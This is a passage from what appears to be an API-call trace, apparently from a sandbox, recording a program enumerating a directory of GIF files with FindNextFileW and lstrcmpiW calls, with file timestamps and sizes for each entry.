ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15058_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15058_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15058_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319bbb00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x319bbb00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15059_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15059_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15059_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306a8e00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x306a8e00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15060_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15060_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15060_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f396100, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2f396100, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15061_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15061_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfac9e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbfac9e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15132_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15132_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15133_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15133_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15134_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15134_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15134_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15135_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15135_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15135_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc20ef800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc20ef800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15136_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15136_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15136_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15168_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15168_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15169_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15169_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15170_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15170_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a06a900, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a06a900, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15171_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15171_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15172_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15172_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a44f00, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x77a44f00, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15173_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15173_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb476800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb476800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15272_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15272_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc789500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc789500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15273_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15273_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc998a500, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc998a500, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15274_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15274_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7364b00, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc7364b00, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15275_.GIF", cAlternateFileName="")) returned 1 [0097.671] lstrcmpiW (lpString1="BD15275_.GIF", lpString2=".") returned 1 [0097.671] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="..") returned 1 [0097.671] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a2c400, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc3a2c400, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15276_.GIF", cAlternateFileName="")) returned 1 [0097.672] lstrcmpiW (lpString1="BD15276_.GIF", lpString2=".") returned 1 [0097.672] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="..") returned 1 [0097.672] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2719700, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc2719700, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15277_.GIF", cAlternateFileName="")) returned 1 [0097.672] lstrcmpiW (lpString1="BD15277_.GIF", lpString2=".") returned 1 [0097.672] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="..") returned 1 [0097.672] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42390f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42390f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21294_.GIF", cAlternateFileName="")) returned 1 [0097.672] lstrcmpiW (lpString1="BD21294_.GIF", lpString2=".") returned 1 [0097.672] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="..") returned 1 [0097.672] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a3c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x436a3c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21295_.GIF", cAlternateFileName="")) returned 1 [0097.672] lstrcmpiW (lpString1="BD21295_.GIF", lpString2=".") returned 1 [0097.672] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="..") returned 1 [0097.672] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45cc9600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x45cc9600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21296_.GIF", cAlternateFileName="")) returned 1 [0097.672] lstrcmpiW (lpString1="BD21296_.GIF", lpString2=".") returned 1 [0097.672] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="..") returned 1 [0097.672] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b6900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x449b6900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21297_.GIF", cAlternateFileName="")) returned 1 [0097.673] lstrcmpiW (lpString1="BD21297_.GIF", lpString2=".") returned 1 [0097.673] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="..") returned 1 [0097.673] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a914a00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a914a00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21298_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21298_.GIF", lpString2=".") returned 1 [0097.674] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="..") returned 1 [0097.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49601d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49601d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21299_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21299_.GIF", lpString2=".") returned 1 [0097.674] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="..") returned 1 [0097.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482ef000, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x482ef000, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21300_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21300_.GIF", lpString2=".") returned 1 [0097.674] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="..") returned 1 [0097.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b85800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51b85800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21301_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21301_.GIF", lpString2=".") returned 1 [0097.674] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="..") returned 1 [0097.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50872b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50872b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21302_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21302_.GIF", lpString2=".") returned 1 [0097.674] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="..") returned 1 [0097.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cf3a400, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4cf3a400, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21304_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21304_.GIF", lpString2=".") returned 1 [0097.674] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="..") returned 1 [0097.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc27700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4bc27700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21306_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21306_.GIF", lpString2=".") returned 1 [0097.674] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="..") returned 1 [0097.674] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4107e200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4107e200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21308_.GIF", cAlternateFileName="")) returned 1 [0097.674] lstrcmpiW (lpString1="BD21308_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea58800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ea58800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21310_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21310_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c432e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c432e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21312_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21312_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38afa700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x38afa700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x45, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21314_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21314_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33eaf300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33eaf300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21316_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21316_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc3e500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2cc3e500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, 